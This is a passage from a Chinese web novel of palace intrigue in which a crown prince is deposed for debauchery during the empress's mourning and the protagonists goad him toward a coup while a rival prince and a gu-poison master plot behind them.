“喂了,属下方才看过了,用您的血滋养的蛊虫长得壮实着呢,这次这批应该能活,两位小公子有救了。” 沈惊澜轻咳一声,胸口伤口隐隐作痛,抬手按住胸口,回头瞅了一眼御书房。 低声问小辛,“可有被王妃发现端倪?” 小辛歪着脑袋想了想,小心翼翼打量沈惊澜面色,有些底气不足。 “应该没有,我回去喂那些蛊虫的时候,不巧撞见了王妃,王妃问我干嘛,我随便编了一个理由说您珪墨用完了。” 那就是有了? 沈惊澜倒吸一口气冷气,温若初机敏聪慧,善于观察,怎么会看不穿小辛的小伎俩。 成事不足败事有余地瞅了一眼小辛。 罢了,眼下不是纠结这件事的时候,温若初带来的消息至关重要。 吩咐小辛,“去叫王公公过来。” 小辛一直提心吊胆观察沈惊澜神色,阁主吩咐过,绝对不能让王妃知道阁主在用自己的血饲养蛊虫,今日办砸了差事,王妃已经起疑,以为今天这顿罚是跑不了了,没想到阁主居然放过了他。 小辛如获大赦,赶紧去找王公公。 御乾宫 自从皇后薨逝之后,老皇帝无心朝政,政务全权交给了沈惊澜,他自己每日对着皇后年轻时候的画像以泪洗面,捶胸顿足痛心疾首责问自己,为何要在皇后生前禁了皇后的足。 总管太监李公公每日雷打不动那么几句车轱辘话劝着,也不嫌烦。 御膳房的人端来一盅银耳莲子汤,李公公双手端到老皇帝面前。 “陛下,吃点汤水吧,总这么下去您身子也受不了,御膳房的人说特意加了多加了冰糖和雪梨,祛火又爽口。” 老皇帝瞅了一眼汤盅。 “朕记得星驰小时候也喜欢吃加了冰糖和雪梨的银耳莲子汤。” 李公公点头说是。 老皇帝吩咐李公公,“这盅汤端去灵堂,星驰那孩子最近一段日子为皇后守灵,身子一定熬不住,让星驰补补身子。” 李公公:“是,昨天御膳房给太子殿下熬煮了参汤,太子殿下可能是忧思过度,参汤退了回去。” 李公公欣慰地笑了笑,“有陛下的旨意在,太子殿下应该能吃了这盅银耳莲子汤,多少能进补一些。” 说着就要端起汤盅送走。 老皇帝若有所思沉默一瞬,也不知道想起什么,在李公公端着汤盅出门之前叫住李公公。 “等等,朕也有几日没瞧见星驰了,皇后没了,朕心里难受,这阵子忽视了星驰,也该去瞅瞅星驰了。” “这盅银耳莲子汤,朕亲自送去。” “是。” 李公公端着银耳莲子汤,矮腰后退到黄皇帝身后,跟着老皇帝前往存放皇后棺椁的灵堂。 第194章 废太子 到了灵堂,四皇子,七皇子和八皇子在,皇子妃还有公主驸马们,白压压跪了一大片。 老皇帝巡视一圈,却不见沈星驰身影,老皇帝脸色黑了下来。 “太子呢?” 沈星驰留在这放哨通风的小太监,哆里哆嗦上前回话。 “太……太子殿下,太子殿下忧思成疾,哭晕过去了,回东宫歇息了。” 黑脸退去,转而浮现一脸关切之色,老皇帝带着那盅加了冰糖和雪梨的银耳莲子汤,脚步匆匆前往东宫去看“哭晕过去”的沈星驰。 老皇帝前脚从灵堂走,方才给老皇帝禀告沈星驰去向的小太监鬼鬼祟祟从灵堂离开。 脚步飞快,怕被旁人发现特意走了一条很少有人走的小路,不过是十几丈距离的一条小路,一盏茶的功夫过去,那小太监没能从小路另一侧出来。 又过了一会儿,一个面生的小太监,身形健硕,身手利落,一看就是练家子。 面生小太监低头推着一辆载着足可容纳一人的大木桶的手推车,木桶里的东西似乎很重,在地面上留下很重的一道车辙印。 另一边,老皇帝惦记自己的宝贝儿子,哭晕了可别真哭个好歹出来,脚步走得飞快,没一会就到了东宫。 东宫门口守卫站姿散漫,平常没事哥几个凑一起吹吹牛,说笑一阵,一天就过去了,左右太子都安排好了人手,又风吹草动会有人通风报信。 今日依旧如此,几次凑一起侃大山说笑,呲个大牙嘻嘻哈哈,说得起劲,老皇帝到近前才发现,神色慌里慌张,跪地行礼磕头,想要给里面的沈星驰报信已然来不及了。 老皇帝以为几个守卫只是玩忽职守,被撞见才会如此慌张,脸色难看地哼了一声,处理了几个看门的,就直奔东宫正殿而去。 还没走到门口,淫靡丝竹之声隐隐传出,老皇帝以为听错了,快步寻着声音飘来方向而去。 “殿下,再喝一杯~” “本宫的小美人,可想死你了。” “陛下承诺给奴的,可千万别忘了,奴可是来跟着殿下过好日子的。” “放心好了,母后遗言说了,让父皇务必照顾好我,这雍国的江山必须是我的,等我登上皇位,就封你做贵妃,不……封你做皇贵妃,在后宫,皇后之下你最大。” 娇柔的女声伴着丝竹声传进老皇帝耳中,他怒目圆睁,一脚踹开殿门。 只见殿内歌舞升平,淫词浪曲绕耳,沈星驰正坐在主位上,抱着一个衣着暴露的美妇人,正举杯饮酒。 一片淫靡景象。 沈星驰醉眼惺忪,被这一脚踹门声惊得一个激灵,看清来人是老皇帝后,酒瞬间醒了一半,忙不迭地起身跪地。 “父皇,您……您怎么来了?” 面前场景和他预想的落差太大,老皇帝气得浑身发抖,指着沈星驰大骂。 “你、你这个逆子,你母后新丧,朕念及你守灵辛苦,恐你忧思成疾,特意给你送祛火的甜水过来,你可倒好,你居然在这里声色犬马……” 回手端起那盅银耳莲子汤高举头顶,朝沈星驰摔了过去,沈星驰侧身躲了一下,瓷质汤盅落地四分五裂,碎瓷片迸溅到沈星驰身上,汤水流了满地。 “父皇息怒,儿臣知错了。” 沈星驰衣衫不整,赶紧磕头认错,王家大嫂哪里见过这种局面,吓得花容失色,连话都说不出来,瑟缩着躲到沈星驰身后。 见老皇帝一脸怒容,一副气急了的样子,沈星驰回手把王家嫂子推到老皇帝面前。 “都是她,都是她勾引儿臣的,儿臣在灵堂为母后守灵,是她死了男人长夜空虚难耐,勾引儿臣,儿臣是无辜的。” 王家嫂子本以为杀了那又矮又矬的相公,能跟着沈星驰吃香喝辣飞上指头做凤凰,生下个儿子,没准将来能做皇后。 没想到,她到东宫刚洗了一个澡换了一身衣裳,连顿饱饭都没吃,老皇帝就过来了。 一看沈星驰不仅靠不住,还欲置她于死地,赶紧解释。 “民妇和丈夫卖伞为生,是太子殿下见色起意,趁着民妇相公外出,翻墙进入民妇家宅,强行要了民妇,还给了民妇一包毒药,让民妇杀了民妇的丈夫。” “民妇是被太子殿下强掳了过来,民妇从未勾引过太子,求陛下为民妇做主啊……” 王家嫂子哭得梨花带雨,边说边哭。 老皇帝一心想着已故的皇后,愧对皇后,哪里有心思听一个寻常妇人解释原委。 浑身怒气翻涌,这个妇人气质忸怩,一看就是宫外妇人,这些年自己儿子什么样,老皇帝心里清楚,只是不愿意承认罢了。 尽管知道这个妇人说的十有八九是真的,可心底里还是向着自家儿子。 一个巴掌拍不响,说沈星驰强抢民女,草菅人命,这个妇人敢伙同奸夫谋杀亲夫,也不是什么好东西。 老皇帝回身拔出跟在他身后侍卫的佩刀。 挥刀就砍向抽泣的王家嫂子,鲜血喷溅,两刀下去就没了气息,泄愤一般又补了十几刀,朝舞姬和乐师胡乱砍了几刀,几个舞姬和乐师受了伤。 老皇帝砍得筋疲力尽才丢下刀,血液喷溅得到处都是,整个东宫正殿一片狼藉,他瘫软坐到椅子里,喘粗气,一口气拉得很长,双眼治翻白,像是要憋过去。 李公公赶紧塞进老皇帝嘴里一颗丹药,捋着胸口,一下一下给老皇帝顺气。 “陛下息怒,这丹药最忌讳急火攻心,您可得注意自己身子,太子也不过是一时糊涂。” 老皇帝仰头喘了一会儿,胸口憋的这股气喘匀乎了。 “你三十好几的人,正是耳聪目明的壮年,你若是能早些立起来,朕又何须劳心费神,你平庸朕可以给你配备贤臣武将辅佐江山,只要无过完全可以守住沈氏江山。” “朕不嫌弃你平庸,可你至少要守孝吧,你母亲就留下你这么一个血脉,你母亲的灵柩还在灵堂停着,你居然……居然……” 似是痛心疾首,长长叹了一口气。 “你太让朕失望了!” 老皇帝狠狠闭了闭眼睛,一脸失望地看向沈星驰,声音抖得像秋风中的残烛。 “沈星驰在皇后丧期骄奢淫逸,草菅人命,德行有亏,有悖祖训。拟旨昭告天下,废黜沈星驰太子之位,贬为庶人,从今日起你就从东宫滚出去!” 第195章 又嘎掉一个 沈星驰当天就被撵出东宫,连带萧蔷和沈桓沈烁两个孩子。 老皇帝到底是没做绝,给沈星驰安排了一个守城门的差事,养家糊口。 太子被废的消息很快传遍都城大街小巷。 御乾宫 刁嬷嬷头戴白花,披麻戴孝,高举皇后生前最喜爱的发簪,跪在御乾宫门前,神色凛然,声音沙哑,依然执拗高喊。 “陛下,太子是皇后娘娘唯一骨血,皇后娘娘尸骨未寒,废太子慎重啊!” “皇后娘娘唯一遗愿就是太子平安无虞,让陛下帮扶太子承袭大统,陛下口口声声答应了皇后娘娘,陛下难道忘记了吗?” 李公公走了出来,有些不忍心,低声劝着。 “陛下自有陛下的考量,陛下顾念您是皇后娘娘身边伺候的老人的份上,不计较嬷嬷的僭越之言,嬷嬷还是快回去吧。” “嬷嬷这么大年纪了,顶着大太阳跪在这里,身子骨也吃不消,圣旨刚宣读出去,怎会有朝令夕改的道理,快回吧,别让陛下为难。” 刁嬷嬷不理会李公公,坚定地看向御乾宫方向。 “陛下,废太子三思啊,皇后娘娘命老奴护住太子殿下,老奴有愧皇后娘娘在天之灵。” “陛下,九皇子沈惊澜绝非良善之辈,温若初可是在大虞女皇膝下长大的,难保日后颠覆政权,为保雍国江山旁落,必须除掉沈惊澜和温若初,以绝后患……” 刁嬷嬷说着站起身,神色毅然。 “……老奴愿以死进谏!” 话音落地,刁嬷嬷一个俯冲撞到御乾宫门口石柱子上,瞬间鲜血喷涌,石柱子上留下一大滩血迹,整个人瘫倒在地。 李公公想伸手去阻拦已经来不及了,刁嬷嬷速度太快,等他伸手阻拦的时候,刁嬷嬷已经没了气息。 李公公可惜地摇摇头,不是可惜刁嬷嬷死得轰轰烈烈,而是可惜柱子被弄脏了。 吩咐小太监。 “血擦干净了,尸体先搬一边去。” 李公公弯腰捡起发簪进屋回禀。 “陛下。” “朕都知道了。” 老皇帝站在桌案前,手握狼毫笔,在绢纸上画记忆中皇后年轻时候的样子,完成最后一笔之后,放下笔,不悦地轻哼一声。 “朕做什么事,还轮不到一个奴才指手画脚,在翊坤宫伺候三十几年的老人了,这点规矩都不懂,弄脏了朕的门口,赶紧让人用破草席卷了扔了。” 李公公道:“已经吩咐下去了。” “这次朕废了星驰的太子之位,这一个月也算是对他的磨砺,但愿星驰能知耻后勇,真心悔过,上进一些,他能靠自己照顾妻儿,将来就能凭借自己的能力守住祖宗基业,是时候放手了。” 老皇帝看着刚画好的画像,神色落寞,微微叹息一声。 “不然等朕百年之后,真的没脸去见皇后了。” 刁嬷嬷有一句话倒是提醒老皇帝了,温若初在大虞女皇膝下长大,大虞女皇窃取凌氏江山才登上皇位,温若初天资聪颖,对政局变化敏锐,极有可能效而仿之。 沈星驰和满朝文武都捆在一起,都不一定能斗得过沈惊澜和温若初。 老皇帝沉吟半晌,“朕何尝不知那沈惊澜并非池中之物,将来对星驰必然成为威胁。” “等皇后出殡,朕要传位于星驰,至于沈惊澜,朕现在无心朝政,就让他再出一阵子力,星驰即位之后,赏赐沈惊澜和温若初两杯鸩酒,找个好点的地方,将两人葬在一起,也不算苦了他,谁让沈惊澜是从寒妃肚子里爬出来的,他早就该死了,长这么大,也算是他的造化。” 李公公伺候在一边,低垂着脑袋,不应声。 刁嬷嬷为保沈星驰撞死在御乾宫前,很快传到荣王府,包括老皇帝在御乾宫里说的话。 得到消息的时候,赶巧沈惊澜在府,书房内众人一个两个的蔫头耷脑,气氛稍显压抑。 “怎么办,皇后再有一个月就要下葬昭陵了,到时候老皇帝送来两杯鸩酒,咱们筹谋这么多年的计划就全完了,我们几个手上的兵加起来不足五千,如何对抗装备精良的禁军,到时候我们只能做案板上的鱼肉,等着别人来杀。” 范天恩如热锅上的蚂蚁,穿着厚重铠甲,站也不是坐也不是,踱来踱去的,铠甲碰到一起发出咔哒咔哒聒噪响声。 古叔喝了一口茶水,被范天恩烦得不行。 “你安生坐那,天还没塌呢。” 温若初得知老皇帝废了太子的时候,就心里纳闷,老皇帝又不是不知道自己儿子什么德行,赶在皇后丧期声色犬马,最多也就是斥责几句。 皇后捧在心尖上的宝贝疙瘩,除非沈星驰的刀架到老皇帝脖子上,否则老皇帝是不会动沈星驰的。 合计着原来是在做戏给沈星驰看,痴心妄想沈星驰能支棱起来。 还想利用完沈惊澜卸磨杀驴。 老皇帝计划的挺美。 温若初把煮好的茶水分给众人,缓缓开口。 “古叔说得对,鹿死谁手还不一定,老皇帝近些日子一直都在服用延年益寿的丹药,我打听过,那丹药最忌讳情绪不稳,若是有人能气死老皇帝,这毒酒自然赏赐不下来了。” “说得轻巧,什么事能气死老皇帝?”范天恩瞪大眼睛,不解问道。 沈惊澜气定神闲坐在太师椅里,眉目低垂摩挲着茶盏边沿,没把消息当回事,好像早料到了会有今日。 “之前皇后为了和柳家对抗在鄞郡屯了三万兵马,”顿了顿,瞅了范天恩一眼,“实际上是五万。” 范天恩点点头,这事他知道,还是他和沈惊澜去办的。 明明前一日调查来的数目是五万兵马,可等查到鄞郡的时候,只剩下三万。 明摆着有问题的事,阁主查到这就不查了,他还以为阁主是嫌麻烦,惦记温若初着急回来,汇报上去的数目也是三万。 还有两万精锐不知所踪。 范天恩瞪大眼睛想了半天才想明白。 “阁主的意思是……逼沈星驰造反?” 温若初附和,“没错,沈星驰若是造反,就算老皇帝双手捧着皇位送给沈星驰,文武百官和宗亲也不答应,老皇帝保沈星驰,就是孤掌难鸣,众叛亲离,日后史书工笔,昏君的帽子永远扣在他头上。” 范天恩想了想,还是不大明白。 “可是……老皇帝已经打定主意传位于沈星驰,沈星驰没必要造反。” 温若初解释:“老皇帝废了沈星驰的太子之位,意欲磨砺沈星驰,我们知道老皇帝的本意是因为老皇帝身边有我们的人。” “沈星驰从出生就是太子,养尊处优没有任何忧患意识,未必能想到在老皇帝身边安插眼线,沈星驰也没那个胆量。” “在沈星驰那个有勇无谋的莽夫看来,因为一件小事,被废黜了太子之位,就是老皇帝厌恶他了,沈星驰愚钝,不思上进,可沈星驰手底下的那些幕僚一定会想法设法撺掇沈星驰夺回皇位。” 经过温若初这么一说,众人明白了,纷纷看向沈惊澜。 沈惊澜正有此意,从查出皇后在鄞郡招兵买马就做了打算,之所以故意给那边留下一个口子,就是给沈星驰和皇后留最后一步。 “还有一个月皇后就要葬入昭陵,时间紧迫……” 沈惊澜面色肃然,看向温若初,眸光温和,吩咐温若初。 “……需要你办一件事。” 第196章 乱臣贼子,一窝又一窝 温若初从小玉的绣庄出来,抬眼就见到一个熟悉身影,做寻常妇人装扮。 萧蔷前几日还朱钗插满发髻,一身锦衣华服,今日见到略显单薄的身子,只穿了一件粗布衣裳,手腕上挎着菜篮子,高高在上的太子妃,如今需要自己出来和小商贩讨价还价买菜了。 温若初状似不经意间的遇见,上前恭敬招呼。 “嫂子。” 萧蔷正在一小摊前挑拣萝卜,回头瞅了一眼,见叫她的人是温若初,面上窘迫,烫手似的萝卜扔到小摊里,梗着脖子,朝前走去,假装没瞧见温若初。 “嫂子。” 温若初又叫了一声,上前几步追上萧蔷,一包刚在路边买的点心塞进萧蔷怀里。 “你们把我和星驰赶了出来,满意了?” 萧蔷顿住脚步恶狠狠的目光瞪着温若初。 “嫂子误会了,赶大哥和嫂子出来的是父皇,和我们可没关系,前几日荣王殿下还说呢,父皇对大哥的惩罚过重了些,大哥也没犯下什么天理难容的罪,不至于把你们一大家子都赶出来,连两个孩子都不放过。” 温若初同情地叹了一口气。 “我都替大嫂和孩子心疼,瞧瞧你,才几日不见都憔悴了,父皇下旨不准人接济你们,这包点心给孩子们吃的,父皇不会计较的。” “我就算是要饭也不会讨到你头上。” 萧蔷阴沉着脸,不领情,糕点又塞给温若初。 温若初不以为意笑了笑。 “行吧,左右我着急,母后新丧,父皇让荣王处理政务,荣王早出晚归的,人都瘦了两圈,尚衣局要给荣王裁做新衣,我来绣庄挑几样时新式样给尚衣局,赶在母后入葬之前赶出来,不然没合适的衣裳,让满朝文武看笑话。” 尚衣局承制文武百官官服,皇帝皇后太子冕服以及日常衣物,寻常皇子王爷的衣裳,只在固定的年节发放两件。 如今不年不节的,尚衣局怎么会给沈惊澜赶制衣裳? 萧蔷愣神,若有所思。 规矩是死的,人是活的,塞给尚衣局点好处,让尚衣局给沈惊澜做两身衣裳,也是可以的。 温若初故意说得含糊不清,该怎么理解就是萧蔷和沈星驰的事了。 该说的话说完,温若初把点心放在一旁的小摊上,对萧蔷笑着点头示意,转身登上马车。 萧蔷恨不得吃人的目光,目送温若初离开。 “谁要你的东西!” 拐角有几只低头找食的流浪狗,萧蔷拿起点心刚要扔过去,犹豫半晌,拍了拍包裹糕点油纸上并不存在的灰,小心翼翼放进篮子里。 萧蔷买了菜,回到城门附近的小宅子里,就把尚衣局给沈惊澜做衣裳的事,转告给了沈星驰。 “尚衣局都开始给沈惊澜做太子冕服了?” 沈星驰脸色煞白,跌坐在掉了漆的椅子里,眼神呆滞,半晌后,又发起了狠。 当天夜里,小宅子附近停了十几顶马车和轿子。 堂屋内灯火通明,以沈星驰为中心,十几个人围坐在一起。 “陛下思念已故皇后忧思成疾无心朝政,朝政大权被沈惊澜那厮牢牢把控在手里,我等已十分艰难,如今透出消息,尚衣局已经给开始给沈惊澜赶制太子冕服,恐怕没有我等活路了。” “太子殿下才是陛下和皇后娘娘嫡出,那个沈惊澜算什么东西,陛下真的是老糊涂了。” “咱们手上有两万精锐,等皇后娘娘入葬那日,埋伏在昭陵附近,到时候我们挟持了陛下,逼陛下退位,把本就该是太子应得的江山,传给太子。” “对,对,对。” 众人一致同意,四皇子沈雨霁平常就是东宫常客,此时也在其中,非常同意沈星驰逼宫。 “皇兄应该早些做打算,过几日立沈惊澜为太子的诏书一下,就真的是人为刀俎我为鱼肉,我们可就被动了。” 自从沈星驰被罢黜太子之位以来,这些原养在东宫的幕僚,经常深夜前来,规劝沈星驰起兵谋反,逼宫,绝对不能把唾手可得的皇位拱手他人。 他们跟了沈星驰这么久,背地里出了不少力,眼瞅老皇帝一日不如一日,太子登基,他们这些幕僚的好日子就到了,太子忽然被废,他们又怎么能心甘情愿,就算是推也得把沈星驰推到皇位上去。 逼宫篡位是大罪,走到了那一步,就真的再无转圜余地了,沈星驰一直犹豫,他和父皇不至于闹到兵戈相见,总觉得父皇是真心待他的,哪怕他做错了事。 前几日刁嬷嬷为了护着他的太子位,高举母亲遗物,以死明志血溅御乾宫,让父皇三思废太子,处死沈惊澜和温若初。 刁嬷嬷如此忠心的嬷嬷,死得轰轰烈烈,沈星驰以为父皇至少能听进去一些,还在幻想着过几日父皇气消了,能接他回去。 可今日萧蔷说,父皇要立沈惊澜为太子,那他这个废太子将永无出头之日了。 沈惊澜若是登上皇位,必然没有他的活路。 沈星驰坐在长凳上,紧了紧拳头,眼底寒光闪过,似是下定了某种决心。 “众爱卿说得对,起兵!” 众人面露喜色,齐齐跪地,低声呼喊。 “我主圣明,万岁万岁万万岁。” 四皇子沈雨霁低着头,在不易察觉到的地方,嘴角露出一抹诡异笑意,沈星驰这次是彻底栽了。 第197章 夫妻本为一体,你我不分彼此 温若初一大早起床,伍六七就来禀告四皇子沈雨霁动向。 伍六七是温若初派去监视四皇子沈雨霁和四皇子妃张氏的人,伍六七是天机阁下属,身手了得,擅长追踪。 她梳洗之后,哈欠连天坐在椅子里,听伍六七回话。 伍六七道:“属下昨晚跟踪沈雨霁,沈雨霁去了北城门东三里的一处小宅子,是废太子沈星驰居所,另外还有十几个人也去了。” “密谋皇后入葬昭陵那日,埋伏五千精锐在昭陵附近,挟持老皇帝退位。” 温若初又打了一个哈欠,鱼儿咬钩了,一切尽在计划之内,喝了一口凉茶水,困意才消减一些,接着问道。 “四皇子和四皇子妃最近可有接触不一样的人?” 伍六七拧眉想了半晌,“沈雨霁曾在茶馆见过两个人,神神秘秘的,约过两次,每次他们说完话之后,朝相反方向走。” 鬼鬼祟祟藏头露尾的,温若初直觉,躲在四皇子沈雨霁和四皇子妃张氏后面的人,要露出来了。 “两个人,那两个人长什么样?” 伍六七道:“其中一个身形偏瘦,二十出头,穿的挺爷们,长得比大姑娘还好看。” 温若初面上闪过一丝疑惑,伍六七形容得很笼统,二十出头,穿的爷们,长得比大姑娘好看,她脑海里闪现出上官那张阴柔的脸。 上官意图用蛊虫谋害女皇不成,被大虞女皇下了海捕令追杀,一直都没动静,难道逃到雍国来了? “另一个呢,长什么样?” 伍六七:“另一个更奇怪了,出门带着帷帽,瞧不清模样,看身形应该是个男的。” 上官还有同伙? 温若初想了半天,上官身份成谜,不知上官为何刺杀女皇,也不知道上官来都城的目的。 眼下不是研究上官的时候,沈星驰已经咬钩,就差最后收尾了。 凌玄礼是大虞大理寺少卿,目前还在都城,抓捕上官是凌玄礼的活。 温若初让伍六七继续监视四皇子和四皇子妃,又写了一封书信,差人送去驿馆给凌玄礼。 傍晚,晚膳陆续端上桌。 温若初沈惊澜回来用晚膳,沈惊澜没回来,门房的人送来一檀木匣子。 木匣子透着一股淡淡的檀香味,匣子上雕刻精美的古朴花纹。 温若初小心翼翼接过木匣子,推开,匣子里摆放一尊小木质女子雕像,女子体态大方,眉眼和温若初有七八分相似。 是夏分送给她的,温若初的母亲,王首青的雕像。 王首青的雕像一直摆放在上京博阳侯府苍兰苑的卧房里,温若初被沈惊澜掳走,离开的匆忙,没能带上王首青雕像。 说来也是惭愧,一直琐事缠身,又没有合适的人手,雕像的事,一直耽搁下来。前阵子和沈惊澜提了一嘴,想把王首青的雕像请回来,这才几日功夫,没想到就送来了。 温若初用帕子擦拭一遍王首青雕像,重新摆放到卧房内,香烛供奉。 沈轩和沈煜会爬了,叮嘱下人看好孩子,莫要让孩子碰到了雕像。 温若初刚拜完王首青雕像,沈惊澜回来了,净手之后燃了一炷香也拜了拜。 有些矫情,温若初还是对沈惊澜说了一句。 “谢谢。” 沈惊澜垂眸看她,唇边荡开暖暖笑意。 “夫妻本为一体,你我不分彼此,你的事就是我的事,不必和我道谢。” 沈惊澜从袖口里取出一本黄绢面奏折,递给温若初。 “看看?” 沈惊澜不是太子,也没有监国的权利,御书房里的奏折,依照礼制,不得带回。 “你怎么把奏折带家里来了?”温若初一脸疑惑问道。 沈惊澜坐到椅子里,不紧不慢抿了一口茶。 “并非从御书房里带出来的。” 一炷香之前,沈惊澜忙完今日批阅的奏折,打算回荣王府。 刚出了宫门,和四皇子沈雨霁打了一个照面,以为只是凑巧路过,点头示意就算是招呼过了。 没曾想沈雨霁朝他走了过来,沈惊澜拱手道。 “四皇兄。” 沈雨霁躬身回礼,掏出一本奏折递给沈惊澜。 沈惊澜眼底疑惑闪过,“四皇兄有事奏禀,让内官送去御书房即可,直接给我,不合规矩。” 沈雨霁似有难言之隐,执意道。 “这本奏折是给你看的。” 沈惊澜这才带了回来。 又是四皇子沈雨霁,这人蔫坏蔫坏的,最近搞出不少小动作。 温若初了然,打开奏折,眼底诧异更甚。 奏折里没有开头敬语,结尾也没有署名落章,一封很不标准的奏折,只有一句话: 皇后入葬昭陵之日,沈星驰屯两万精锐于山上,欲挟持陛下逼宫篡位。 沈雨霁是沈星驰的狗腿子,依附于沈星驰。 皇后刚死的时候,四皇子妃张氏就和温若初私下接触,有投靠他们这边之意。 温若初看着手里奏折上写的这句,明显给沈惊澜通风报信的话,怎么看都不像是投靠讨好的意思。 沈星驰逼宫谋反,沈雨霁完全可以禀告给老皇帝,完全可以捞个王爷的头衔,却舍近求远,把首告的功劳让给沈惊澜。 温若初把前后因果,已经最近发生的大事小情粗略过了一遍,想通其中关窍,以及沈雨霁通风报信给沈惊澜的目的。 忍不住爆了一句粗口。 “我靠。” “沈雨霁想让咱们和沈星驰互掐,他坐收渔翁之利!” 沈惊澜淡淡嗯了一声,对温若初的猜测表示赞同。 放下茶盏,眸色晦暗不明,有一下没一下地摩挲茶盏边沿。 “想做渔翁也得有做渔翁的本事。” 温若初问:“你打算怎么处理这份奏折?” 沈惊澜淡淡道:“沈星驰逼宫篡位,自然是等兵临城下的时候,署上四皇兄的名字,呈递给父皇。” 温若初不置可否,有点期待那个场景,老皇帝正抱着皇后棺椁哭得伤心,突然传来紧急军情,最疼爱的亲儿子来取他的狗命。 沈惊澜一道奏折递过去,他四儿子早知道沈星驰谋反,故意等到叛军杀到面前才来邀功。 老皇帝气急败坏之下,是先杀沈雨霁,还是先料理沈星驰。 沈雨霁想挖个坑一举弄死沈星驰和沈惊澜两个强劲对手。 沈雨霁在这本书里算是高智商了,可惜这次真的打错算盘了。 从一开始,沈惊澜的真正目标就是老皇帝。 第198章 亲舅舅 奶娘抱着沈轩和沈煜过来,沈惊澜和温若初陪着两个小孩子玩了一会,孩子有点闹觉,又让奶娘抱走了。 温若初和沈惊澜两人坐一桌用晚膳,差不多吃饱,刚放下碗筷,就听见沈惊澜问道。 “你给守正写信了?” 疑问句却是陈述的语气,沈惊澜正低头夹菜,貌似不经意间冒出来的一句话。 温若初屋里都是她自己的人,知道沈惊澜没事爱吃飞醋,怕引起不必要的误会,特意让冯文送的信。 沈惊澜是怎么知道的? 也对,沈惊澜作为一个人微言轻的质子,在大虞能神不知鬼不觉地搞出一个集结天下情报的天机阁,追踪收集情报是他的看家本事,她的这点伎俩瞒不住沈惊澜。 温若初眸色顿了一下,娇俏的眼底划过一抹促狭,恶劣地起了逗弄的心思,撑着下巴,眨着一双大眼睛,抬眼看向沈惊澜,欣赏他的表情变化。 “是啊,写的情书。” 沈惊澜微微低着头,下颌紧紧绷着,握着筷子的手紧了紧,指腹有些泛白。 “别挑战我的底线。” 他的声音低沉,能听得出来在极力压制着情绪。 生气了?温若初无意识正了正神色,玩笑话都听不出来。 她和凌玄礼之间什么事都没有,该解释的早解释过了。 不理解为何每次提到凌玄礼,沈惊澜都这么大的反应,甚至怀疑,若是不压制情绪完全放开,沈惊澜现在就能冲出去杀人。 温若初收起逗弄心思,悻悻地收回落在沈惊澜身上的视线,小声嘀咕。 “我和凌玄澈从小青梅竹马,也差点成亲了,怎么不吃凌玄澈的醋?” “凌玄澈那种人渣配不上你。” 沈惊澜的话音刚落,温若初就没脑子地接上了一句。 “那凌玄礼能配得上?” 沈惊澜的脸色更黑了。 温若初自觉说错了话,刚要开口找补回来,沈惊澜定定地看过来。 “只有我才能配得上你。” 温若初愣神,沈惊澜好像和从前不一样了,从前提起凌玄礼,沈惊澜要么委屈巴巴不说话,要么就是假扮柔弱装绿茶。 温若初悻悻,凌玄礼是他们之间的禁忌话题,赶紧就此打住话题。解释伍六七跟踪四皇子沈雨霁,巧遇上官和那个头戴帷帽的神秘男子。 给凌玄礼写信也是让为了抓捕上官。 温若初说得认真,沈惊澜这次相信了。 和温若初一样,对上官突然出现在都城并且和四皇子沈雨霁有接触,其目的何为? 沈雨霁若图谋的是雍国的皇位,上官能从中得到什么? 不管上官能得到什么? 从沈雨霁把那本奏折交到他手上的那刻起,沈雨霁的命便已进入倒计时,沈雨霁想图谋的,只能等下辈子了。 日子一天天过,皇后灵柩入昭陵日期临近,都城最近多了一些从鄞郡来的“难民”,那些“难民”各个孔武有力,身高体壮。 沈惊澜为迎接“难民”,大行方便之路,连城门口盘查都是外紧内松,尽量让来自“鄞郡”的难民都入城。 沈星驰豢养的幕僚都是行动派,鄞郡的两万精锐乔装成难民模样,差不多有一半进了城,另一半埋伏在昭陵附近山丘里,就连依照沈星驰身材尺寸缝制的龙袍都赶制出来了,就等着皇后棺椁入昭陵,逼老皇帝退位。 沈星驰想的挺好,为了掩人耳目,每日正常去城门口当值,还让萧蔷配合他,每日出去买菜,营造他安分守己,勤勉养家的假象。 殊不知,沈星驰背后已经被人设计了一个又一个陷阱,只等着他跳进万劫不复深渊。 闹市区,一间茶楼内。 顺着敞开的窗户,能随时看见楼下经过的“难民”。 沈雨霁让茶楼掌柜的上了两碟点心,看了一眼对面二人,唇边勾起一丝低笑,举手投足间透着一股儒雅之气。 “鄞郡的精锐已经到了,三日后皇后棺椁入昭陵,沈惊澜和沈星驰斗得两败俱伤,父皇咽了气,雍国这边就在我掌控之下了,到时候我会划分出三成土地给你复国,我的承诺兑现了,接下来就是他的事了。” 上官身穿一层略显单薄白衣,脑后的头发梳得很低,背对窗,姿态随意地依靠在椅子里。 明明是一张二十出头的脸,眼神却透着一股历经世事的淡漠,给整个人都蒙上一层阴柔之气,像一只雌雄难辨的貌美妖精,美丽又危险。 一只手掌长的千足黑赤蜈蚣在葱白似的手指上游走,上官微微抬头,饶有兴致地看着手上蜈蚣,不接沈雨霁的话。 头戴帷帽男子似乎很惧怕上官,朝上官瞅了一眼,转回头对沈雨霁道。 “等大虞落入我手,我自然也会兑现承诺,再说了,若是没有我们在后面帮衬,你也不可能这么快就扳倒了皇后和沈星驰。” 顿了顿,似是不解气,跟了一句风凉话。 “计划还没成功了,可别得意太早。” 沈雨霁端起茶盏淡淡抿了一口,顺着上官视线瞥了一眼窗外精壮“难民”。 “沈惊澜是你亲外甥,你真的忍心?” 上官终于有了一丝不一样的表情,睃了一眼沈雨霁,轻轻叹息一声。 “谁让他娶了大虞女皇的亲孙女?这就是他的命。” 大虞女皇该死,王首青该死,温若初和他没什么仇,可温若初身上流着那两个女人的血。 上官端起茶盏,像是忽然想起什么,看向沈雨霁。 “务必护好了沈轩和沈煜,他们身上流着我寒族皇室最尊贵的血脉。” 沈雨霁答应,“放心,不管都城多乱,我保证两个孩子一根头发丝都不会有人碰。” 上官对沈雨霁的配合很满意,端起茶盏慢慢抿了一口。 两个孩子他会抚养长大,把寒族最引以为傲的巫蛊之术传给他们,他的一身绝学终于后继有人了。 用不了几年,两个孩子将成为最厉害的蛊师,到时候无论是雍国还是大虞,都将成为寒族的国土,他们只配给寒族人做奴隶。 喜欢质子摇身变帝王,诱哄我做正宫娘娘请大家收藏:()质子摇身变帝王,诱哄我做正宫娘娘更新速度全网最快。 第199章 犯上作乱的另有其人 深夜,御乾宫。 